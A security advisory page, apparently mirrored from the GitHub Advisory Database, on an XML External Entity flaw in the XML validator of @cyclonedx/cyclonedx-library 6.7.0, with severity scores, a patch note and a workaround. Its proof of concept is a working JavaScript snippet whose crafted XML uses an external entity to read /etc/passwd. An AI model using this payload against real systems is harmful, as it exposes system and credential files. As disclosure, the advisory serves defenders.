Lucene search

K
githubGitHub Advisory DatabaseGHSA-38GF-RH2W-GMJ7
HistoryMay 08, 2024 - 7:55 p.m.

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

2024-05-0819:55:37
CWE-611
GitHub Advisory Database
github.com
5
xml external entity
injection
xml validator
arbitrary input
validation
version 1.5
xml external entity (xxe) injection
patches
workarounds
untrusted inputs
references
cyclonedx
javascript library
pull request.

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

0.0005 Low

EPSS

Percentile

18.2%

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id>
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Affected configurations

Vulners
Node
cyclonedxbill_of_materials_repository_serverMatch6.7.0
CPENameOperatorVersion
@cyclonedx/cyclonedx-libraryeq6.7.0

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

0.0005 Low

EPSS

Percentile

18.2%

Related for GHSA-38GF-RH2W-GMJ7